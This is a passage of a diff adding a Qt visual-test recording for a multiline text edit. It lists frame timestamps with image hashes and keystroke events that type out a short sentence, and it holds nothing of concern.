+ msec: 864
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 880
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 896
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 912
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 928
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 944
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 960
+ image: "usingMultilineEdit.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 992
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1008
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1024
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1040
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1056
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1072
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1088
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1104
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1120
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1136
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1152
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1168
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1184
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1200
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1216
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1232
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1248
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1264
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1280
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Frame {
+ msec: 1296
+ hash: "bf9ad629e190df34f8bbb242e986083f"
+ }
+ Key {
+ type: 6
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Frame {
+ msec: 1328
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Frame {
+ msec: 1344
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Frame {
+ msec: 1360
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Frame {
+ msec: 1376
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Key {
+ type: 7
+ key: 44
+ modifiers: 0
+ text: "2c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "bf65dbbfc02ad1589093d965c83d5806"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1408
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1424
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1440
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1456
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1472
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1488
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1504
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1520
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1536
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Frame {
+ msec: 1552
+ hash: "ef0640a754b76b5e28bff78376f1aaf3"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "b392b8d675e61166e9707f4a7f191c15"
+ }
+ Frame {
+ msec: 1584
+ hash: "b392b8d675e61166e9707f4a7f191c15"
+ }
+ Frame {
+ msec: 1600
+ hash: "b392b8d675e61166e9707f4a7f191c15"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1616
+ hash: "b392b8d675e61166e9707f4a7f191c15"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1632
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Frame {
+ msec: 1648
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Frame {
+ msec: 1664
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Frame {
+ msec: 1680
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Frame {
+ msec: 1696
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1712
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Frame {
+ msec: 1728
+ hash: "f7a9826581a72f37b1211f1006d93ae5"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1744
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Frame {
+ msec: 1760
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Frame {
+ msec: 1776
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Frame {
+ msec: 1808
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Frame {
+ msec: 1824
+ hash: "cea68eaed3000fe598917688b49525b7"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1840
+ hash: "968932500933300e0a0ca711067d6659"
+ }
+ Frame {
+ msec: 1856
+ hash: "968932500933300e0a0ca711067d6659"
+ }
+ Frame {
+ msec: 1872
+ hash: "968932500933300e0a0ca711067d6659"
+ }
+ Frame {
+ msec: 1888
+ hash: "968932500933300e0a0ca711067d6659"
+ }
+ Frame {
+ msec: 1904
+ hash: "968932500933300e0a0ca711067d6659"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ image: "usingMultilineEdit.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "1d5b3f8dc6e0701c0c11a330e055ba5d"
+ }
+ Frame {
+ msec: 1952
+ hash: "1d5b3f8dc6e0701c0c11a330e055ba5d"
+ }
+ Frame {
+ msec: 1968
+ hash: "1d5b3f8dc6e0701c0c11a330e055ba5d"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1984
+ hash: "067182091936c99dfa5c29b226bd4351"
+ }
+ Frame {
+ msec: 2000
+ hash: "067182091936c99dfa5c29b226bd4351"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2016
+ hash: "067182091936c99dfa5c29b226bd4351"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Frame {
+ msec: 2048
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Frame {
+ msec: 2080
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Frame {
+ msec: 2096
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Frame {
+ msec: 2112
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Frame {
+ msec: 2144
+ hash: "810e996b65424f80e229160860805492"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Frame {
+ msec: 2176
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Frame {
+ msec: 2192
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Frame {
+ msec: 2208
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Frame {
+ msec: 2224
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Frame {
+ msec: 2240
+ hash: "10aca130f139e44c0889d8d9c9bb8673"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Frame {
+ msec: 2272
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Frame {
+ msec: 2288
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Frame {
+ msec: 2304
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Frame {
+ msec: 2320
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2336
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Frame {
+ msec: 2352
+ hash: "6785570c7f2cc9f3c6b0b07b8a94ecb2"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "701c2738b7c064cd487bd0c6c0beb6b4"
+ }
+ Frame {
+ msec: 2384
+ hash: "701c2738b7c064cd487bd0c6c0beb6b4"
+ }
+ Frame {
+ msec: 2400
+ hash: "701c2738b7c064cd487bd0c6c0beb6b4"
+ }
+ Frame {
+ msec: 2416
+ hash: "701c2738b7c064cd487bd0c6c0beb6b4"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2432
+ hash: "701c2738b7c064cd487bd0c6c0beb6b4"
+ }
+ Key {
+ type: 6
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Frame {
+ msec: 2464
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Frame {
+ msec: 2480
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Frame {
+ msec: 2496
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Frame {
+ msec: 2512
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Frame {
+ msec: 2528
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Key {
+ type: 7
+ key: 80
+ modifiers: 0
+ text: "70"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2544
+ hash: "35c0c51dd874faa28058251164836dcb"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2576
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2592
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2608
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2624
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2640
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2656
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2672
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Frame {
+ msec: 2688
+ hash: "12748fe9d3b72aff29449deeb2372d03"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2704
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Frame {
+ msec: 2720
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Frame {
+ msec: 2736
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Frame {
+ msec: 2752
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Frame {
+ msec: 2768
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Frame {
+ msec: 2784
+ hash: "0d119074fb7e882ebe4dfbad9bfb401a"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Frame {
+ msec: 2832
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Frame {
+ msec: 2848
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Frame {
+ msec: 2864
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ image: "usingMultilineEdit.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Frame {
+ msec: 2912
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Frame {
+ msec: 2928
+ hash: "3646bd6ea35fb8f0160a24a203b0f469"
+ }
+ Key {
+ type: 6
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "d90cbfbec0e5a73781664eec63ba7081"
+ }
+ Frame {
+ msec: 2960
+ hash: "d90cbfbec0e5a73781664eec63ba7081"
+ }
+ Frame {
+ msec: 2976
+ hash: "d90cbfbec0e5a73781664eec63ba7081"
+ }
+ Key {
+ type: 7
+ key: 75
+ modifiers: 0
+ text: "6b"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "8faa6d1174cf3e8ef10f6575276ed125"
+ }
+ Frame {
+ msec: 3008
+ hash: "8faa6d1174cf3e8ef10f6575276ed125"
+ }
+ Frame {
+ msec: 3024
+ hash: "8faa6d1174cf3e8ef10f6575276ed125"
+ }
+ Frame {
+ msec: 3040
+ hash: "8faa6d1174cf3e8ef10f6575276ed125"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3056
+ hash: "8faa6d1174cf3e8ef10f6575276ed125"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3072
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Frame {
+ msec: 3088
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Frame {
+ msec: 3104
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3120
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 33554432
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3136
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Frame {
+ msec: 3152
+ hash: "bac072bfe350abe83fbc941e56845939"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "386a85651164d0edbeb5cc2b7ee438c7"
+ }
+ Frame {
+ msec: 3184
+ hash: "386a85651164d0edbeb5cc2b7ee438c7"
+ }
+ Frame {
+ msec: 3200
+ hash: "386a85651164d0edbeb5cc2b7ee438c7"
+ }
+ Frame {
+ msec: 3216
+ hash: "386a85651164d0edbeb5cc2b7ee438c7"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 33554432
+ text: "49"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "386a85651164d0edbeb5cc2b7ee438c7"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3248
+ hash: "982d48e7ef886a74791306f055ddc714"
+ }
+ Frame {
+ msec: 3264
+ hash: "982d48e7ef886a74791306f055ddc714"
+ }
+ Frame {
+ msec: 3280
+ hash: "982d48e7ef886a74791306f055ddc714"
+ }
+ Frame {
+ msec: 3296
+ hash: "982d48e7ef886a74791306f055ddc714"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3312
+ hash: "982d48e7ef886a74791306f055ddc714"
+ }
+ Key {
+ type: 6
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3328
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Frame {
+ msec: 3344
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Frame {
+ msec: 3360
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Frame {
+ msec: 3376
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Frame {
+ msec: 3392
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Key {
+ type: 7
+ key: 87
+ modifiers: 0
+ text: "77"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3408
+ hash: "38003a58f17d25d302c5e1b643b271b0"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3424
+ hash: "18d37190d139a1567d91882fdac411d6"
+ }
+ Frame {
+ msec: 3440
+ hash: "18d37190d139a1567d91882fdac411d6"
+ }
+ Frame {
+ msec: 3456
+ hash: "18d37190d139a1567d91882fdac411d6"
+ }
+ Frame {
+ msec: 3472
+ hash: "18d37190d139a1567d91882fdac411d6"
+ }
+ Frame {
+ msec: 3488
+ hash: "18d37190d139a1567d91882fdac411d6"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3504
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Frame {
+ msec: 3520
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Frame {
+ msec: 3536
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Frame {
+ msec: 3552
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Frame {
+ msec: 3568
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Frame {
+ msec: 3584
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Key {
+ type: 7
+ key: 78
+ modifiers: 0
+ text: "6e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3600
+ hash: "279aa32aaeebea7f8078e8a750d0514b"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3616
+ hash: "626123df4dc8fc1321d0262871ffbe3e"
+ }
+ Frame {
+ msec: 3632
+ hash: "626123df4dc8fc1321d0262871ffbe3e"
+ }
+ Frame {
+ msec: 3648
+ hash: "626123df4dc8fc1321d0262871ffbe3e"
+ }
+ Frame {
+ msec: 3664
+ hash: "626123df4dc8fc1321d0262871ffbe3e"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3680
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3712
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3728
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3760
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3776
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3792
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3808
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3824
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3840
+ image: "usingMultilineEdit.3.png"
+ }
+ Frame {
+ msec: 3856
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3872
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3888
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3904
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3920
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3936
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3952
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Frame {
+ msec: 3968
+ hash: "00972f42fed66eb94832506b436b203d"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3984
+ hash: "72d952ff90862b93ccec046f61d85360"
+ }
+ Frame {
+ msec: 4000
+ hash: "72d952ff90862b93ccec046f61d85360"
+ }
+ Frame {
+ msec: 4016
+ hash: "72d952ff90862b93ccec046f61d85360"
+ }
+ Frame {
+ msec: 4032
+ hash: "72d952ff90862b93ccec046f61d85360"
+ }
+ Frame {
+ msec: 4048
+ hash: "72d952ff90862b93ccec046f61d85360"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4064
+ hash: "abd2bd3a1fdf5dbdd5bfdcc84bad136c"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "abd2bd3a1fdf5dbdd5bfdcc84bad136c"
+ }
+ Frame {
+ msec: 4096
+ hash: "abd2bd3a1fdf5dbdd5bfdcc84bad136c"
+ }
+ Frame {
+ msec: 4112
+ hash: "abd2bd3a1fdf5dbdd5bfdcc84bad136c"
+ }
+ Frame {
+ msec: 4128
+ hash: "abd2bd3a1fdf5dbdd5bfdcc84bad136c"
+ }
+ Key {
+ type: 6
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4144
+ hash: "f091e9b3d660c3664960f3fe6f624a1d"
+ }
+ Frame {
+ msec: 4160
+ hash: "f091e9b3d660c3664960f3fe6f624a1d"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4176
+ hash: "f091e9b3d660c3664960f3fe6f624a1d"
+ }
+ Frame {
+ msec: 4192
+ hash: "f091e9b3d660c3664960f3fe6f624a1d"
+ }
+ Frame {
+ msec: 4208
+ hash: "f091e9b3d660c3664960f3fe6f624a1d"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4224
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4240
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Key {
+ type: 7
+ key: 85
+ modifiers: 0
+ text: "75"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4256
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4272
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4304
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4320
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4336
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4352
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Frame {
+ msec: 4368
+ hash: "bc9ae8ea7f8a7f1089263a20b4a5e826"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4384
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Frame {
+ msec: 4400
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Frame {
+ msec: 4416
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Frame {
+ msec: 4432
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Frame {
+ msec: 4448
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4464
+ hash: "f96b7c209a5e558543157cf5aa4ce69e"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4496
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4512
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4528
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4544
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "67facce41bc51af385bd8102a7e1285e"
+ }
+ Frame {
+ msec: 4576
